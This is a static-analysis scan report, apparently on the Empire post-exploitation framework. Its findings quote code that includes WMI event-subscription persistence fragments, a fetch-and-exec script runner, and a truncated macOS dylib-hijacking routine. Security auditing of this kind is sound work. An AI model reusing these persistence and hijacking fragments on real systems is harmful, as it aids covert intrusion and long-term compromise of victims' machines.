GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: vinnybod/extract-release-notes@v2 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-sponsor-kali-tag.yml line 18
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-sponsor-kali-start.yml line 60
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: thomaseizinger/create-pull-request@1.4.0 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-public-tag.yml line 35
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: vinnybod/extract-release-notes@v2 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-sponsor-kali-start.yml line 20
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release-sponsor-kali-start.yml line 34
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: vinnybod/keep-a-changelog-new-release@1.4.0 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/ironpython_agent.py line 1057
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(code_obj, exec_globals) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/ironpython_agent.py line 126
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(code, mod.__dict__) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 111
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(code, mod.__dict__) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 628
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(code_obj, exec_globals) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 655
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(code_obj, exec_globals) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/agent.py line 696
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(data, script_globals) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/ironpython_agent.py line 1031
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(code_obj, exec_globals) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/ironpython_agent.py line 1200
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(data, script_globals) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/code_execution/invoke_script.py line 27
- Likely real
- Yes, 50% confidence
Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.
exec(script_content, script_globals) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/common/templating.py line 20
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
env = jinja2.Environment( # noqa: S701 - renders attack payloads/scripts, not HTML; autoescaping would corrupt output loader=jinja2.FileSystemLoader(path), comment_start_string='"""', comment_end_string='"""', line_comment_prefix="#", ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/go.py line 79
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
self.jinja_env = jinja2.Environment( loader=jinja2.FileSystemLoader( str(self.install_path / "data/agent/gopire") ), autoescape=False, # noqa: S701 - renders attack payloads/scripts, not HTML; autoescaping would corrupt output ) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/port_forward_pivot/listener.py line 1164
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
return template.render( listen_host=listen_host, listen_port=listen_port, connect_host=connect_host, connect_port=connect_port, ) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/data/module_source/python/code_execution/invoke_script.py line 8
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
7 try: 8 with urllib.request.urlopen(script_url) as response: 9 return response.read().decode('utf-8') -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http_hop/listener.py line 368
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
stager = template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 624
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
return template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 638
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
return template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http_foreign/listener.py line 313
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
return template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http_foreign/listener.py line 327
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
return template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/smb/listener.py line 339
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
return template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/smb/listener.py line 229
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
stager = template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http_hop/listener.py line 322
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
stager = template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/port_forward_pivot/listener.py line 758
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
return template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http_hop/listener.py line 427
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
return template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/core/go.py line 98
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
rendered_content = template.render(template_vars) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 446
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
stager = template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http/listener.py line 491
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
stager = template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/port_forward_pivot/listener.py line 744
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
return template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/port_forward_pivot/listener.py line 595
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
stager = template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/port_forward_pivot/listener.py line 545
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
stager = template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http_malleable/listener.py line 713
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
stager = template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http_malleable/listener.py line 656
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
stager = template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/listeners/http_hop/listener.py line 441
- Likely real
- Uncertain, 49% confidence
Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.
return template.render(template_options) -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /empire/server/data/agent/gopire/tasks/csharp_task.go line 146
- Likely real
- Uncertain, 48% confidence
Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size.
if _, err := io.Copy(&out, r); err != nil { -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi.py line 147
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
146 + sub_name 147 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode='4625' AND TargetInstance.Message LIKE '%" 148 + failed_logon 149 + "%'\"}; " 150 ) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi.py line 201
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
200 + dummy_sub_name 201 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" 202 + day_filter_dummy 203 + " AND (TargetInstance.Hour = " 204 + hour -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/alembic/versions/0007_tags_as_labels.py line 99
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
98 bind.execute( 99 text(f"UPDATE tags SET name = {fold_expr}, value = '' WHERE value <> ''") # noqa: S608 100 ) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi_updater.py line 197
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
196 + sub_name 197 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" 198 ) 199 status_msg += " with OnStartup WMI subsubscription trigger." 200 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi_updater.py line 180
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
179 + sub_name 180 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" 181 + day_filter 182 + " AND (TargetInstance.Hour = " 183 + hour -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi_updater.py line 178
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
177 script += ( 178 '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\'' 179 + sub_name 180 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi_updater.py line 161
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
160 + dummy_sub_name 161 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" 162 + day_filter_dummy 163 + " AND (TargetInstance.Hour = " 164 + hour -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi_updater.py line 159
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
158 script += ( 159 '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\'' 160 + dummy_sub_name 161 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi.py line 237
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
236 + sub_name 237 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" 238 ) 239 status_msg += " with OnStartup WMI subsubscription trigger." 240 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi.py line 220
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
219 + sub_name 220 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" 221 + day_filter 222 + " AND (TargetInstance.Hour = " 223 + hour -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi.py line 218
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
217 script += ( 218 '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\'' 219 + sub_name 220 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi.py line 199
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
198 script += ( 199 '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\'' 200 + dummy_sub_name 201 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi.py line 145
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
144 script += ( 145 '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{Name=\'' 146 + sub_name 147 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode='4625' AND TargetInstance.Message LIKE '%" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/base.py line 415
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
414 text( 415 f""" 416 SELECT * FROM information_schema.COLUMNS 417 WHERE TABLE_SCHEMA = '{database_name}' 418 AND table_name = 'hosts' 419 AND column_name = 'unique_check' 420 """ 421 ) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/alembic/versions/0007_tags_as_labels.py line 156
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
155 bind.execute( 156 text(f"INSERT INTO {tbl} ({col_list}) VALUES ({placeholders})"), # noqa: S608 157 [dict(zip(cols, vals, strict=True)) for vals in distinct], -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/alembic/versions/0007_tags_as_labels.py line 154
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
153 placeholders = ", ".join(f":{c}" for c in cols) 154 bind.execute(text(f"DELETE FROM {tbl}")) # noqa: S608 155 bind.execute( -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/alembic/versions/0007_tags_as_labels.py line 149
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
148 col_list = ", ".join(cols) 149 rows = bind.execute(text(f"SELECT {col_list} FROM {tbl}")).all() # noqa: S608 150 distinct = list(dict.fromkeys(tuple(r) for r in rows)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/core/db/alembic/versions/0007_tags_as_labels.py line 122
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
121 bind.execute( 122 text(f"UPDATE {tbl} SET tag_id = :s WHERE tag_id = :d"), # noqa: S608 123 {"s": survivor_id, "d": dup_id}, -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/powershell/persistence/elevated/wmi_updater.py line 195
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
194 script = ( 195 '$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\\subscription" -Arguments @{name=\'' 196 + sub_name 197 + "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /empire/server/modules/python/persistence/osx/CreateHijacker.py line 41
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
40 41 return f""" 42 from ctypes import * 43 def run(attackerDYLIB): 44 45 import ctypes 46 import io 47 import os 48 import sys 49 import fcntl 50 import shutil 51 import struct 52 import stat 53 54 55 LC_REQ_DYLD = 0x80000000 56 LC_LOAD_WEAK_DYLIB = LC_REQ_DYLD | 0x18 57 LC_RPATH = (0x1c | LC_REQ_DYLD) 58 LC_REEXPORT_DYLIB = 0x1f | LC_REQ_DYLD 59 60 ( 61 LC_SEGMENT, LC_SYMTAB, LC_SYMSEG, LC_THREAD, LC_UNIXTHREAD, LC_LOADFVMLIB, 62 LC_IDFVMLIB, LC_IDENT, LC_FVMFILE, LC_PREPAGE, LC_DYSYMTAB, LC_LOAD_DYLIB, 63 LC_ID_DYLIB, LC_LOAD_DYLINKER, LC_ID_DYLINKER, LC_PREBOUND_DYLIB, 64 LC_ROUTINES, LC_SUB_FRAMEWORK, LC_SUB_UMBRELLA, LC_SUB_CLIENT, 65 LC_SUB_LIBRARY, LC_TWOLEVEL_HINTS, LC_PREBIND_CKSUM 66 ) = range(0x1, 0x18) 67 68 MH_MAGIC = 0xfeedface 69 MH_CIGAM = 0xcefaedfe 70 MH_MAGIC_64 = 0xfeedfacf 71 MH_CIGAM_64 = 0xcffaedfe 72 73 _CPU_ARCH_ABI64 = 0x01000000 74 75 CPU_TYPE_NAMES = {{ 76 -1: 'ANY', 77 1: 'VAX', 78 6: 'MC680x0', 79 7: 'i386', 80 _CPU_ARCH_ABI64 | 7: 'x86_64', 81 8: 'MIPS', 82 10: 'MC98000', 83 11: 'HPPA', 84 12: 'ARM', 85 13: 'MC88000', 86 14: 'SPARC', 87 15: 'i860', 88 16: 'Alpha', 89 18: 'PowerPC', 90 _CPU_ARCH_ABI64 | 18: 'PowerPC64', 91 }} 92 93 94 95 #structs that we need 96 97 class mach_header(ctypes.Structure): 98 99 _fields_ = [ 100 101 ("magic", ctypes.c_uint), 102 ("cputype", ctypes.c_uint), 103 ("cpusubtype", ctypes.c_uint), 104 ("filetype", ctypes.c_uint), 105 ("ncmds", ctypes.c_uint), 106 ("sizeofcmds", ctypes.c_uint), 107 ("flags", ctypes.c_uint) 108 109 ] 110 111 class mach_header_64(ctypes.Structure): 112 _fields_ = mach_header._fields_ + [('reserved',ctypes.c_uint)] 113 114 class load_command(ctypes.Structure): 115 _fields_ = [ 116 ("cmd", ctypes.c_uint), 117 ("cmdsize", ctypes.c_uint) 118 ] 119 120 121 LC_HEADER_SIZE = 0x8 122 123 124 def checkPrereqs(attackerDYLIB, targetDYLIB): 125 126 127 if not os.path.exists(attackerDYLIB): 128 129 130 print('ERROR: dylib \\'%s\\' not found' % (attackerDYLIB)) 131 return False 132 133 134 if not os.path.exists(targetDYLIB): 135 136 137 print('ERROR: dylib \\'%s\\' not found' % (targetDYLIB)) 138 return False 139 140 attacker = open(attackerDYLIB) 141 target = open(targetDYLIB) 142 143 attackerHeader = mach_header.from_buffer_copy(attacker.read(28)) 144 targetHeader = mach_header.from_buffer_copy(target.read(28)) 145 146 if attackerHeader.cputype != targetHeader.cputype: 147 print('ERROR: Architecture mismatch') 148 attacker.close() 149 target.close() 150 return False 151 152 return True 153 154 155 def findLoadCommand(fileHandle, targetLoadCommand): 156 157 158 MACHHEADERSZ64 = 32 159 MACHHEADERSZ = 28 160 matchedOffsets = [] 161 #wrap 162 try: 163 header = mach_header.from_buffer_copy(fileHandle.read(MACHHEADERSZ)) 164 if header.magic == MH_MAGIC_64: 165 fileHandle.seek(0, io.SEEK_SET) 166 header = mach_header_64.from_buffer_copy(fileHandle.read(MACHHEADERSZ64)) 167 ncmds = header.ncmds 168 169 # Get to the load commands 170 current = fileHandle.tell() #save offset to load command 171 172 for cmd in range(ncmds): 173 174 offset = current 175 lc = load_command.from_buffer_copy(fileHandle.read(LC_HEADER_SIZE)) 176 size = lc.cmdsize 177 if lc.cmd == targetLoadCommand: 178 179 matchedOffsets.append(offset) 180 181 fileHandle.seek(size - LC_HEADER_SIZE, io.SEEK_CUR) 182 current = fileHandle.tell() 183 184 #exceptions 185 except Exception, e: 186 187 #err msg 188 print('EXCEPTION (finding load commands): %s' % e) 189 190 #reset 191 matchedOffsets = None 192 193 return matchedOffsets 194 195 #configure version info 196 # 1) find/extract version info from target .dylib 197 # 2) find/update version info from hijacker .dylib to match target .dylib 198 def configureVersions(attackerDYLIB, targetDYLIB): 199 200 #wrap 201 try: 202 203 #dbg msg 204 print(' [+] parsing \\'%s\\' to extract version info' % (os.path.split(targetDYLIB)[1])_ 205 206 #open target .dylib 207 fileHandle = open(targetDYLIB, 'rb') 208 209 #find LC_ID_DYLIB load command 210 # ->and check 211 versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB) 212 if not versionOffsets or not len(versionOffsets): 213 214 #err msg 215 print('ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %s' % (os.path.split(targetDYLIB)[1])) 216 217 #bail 218 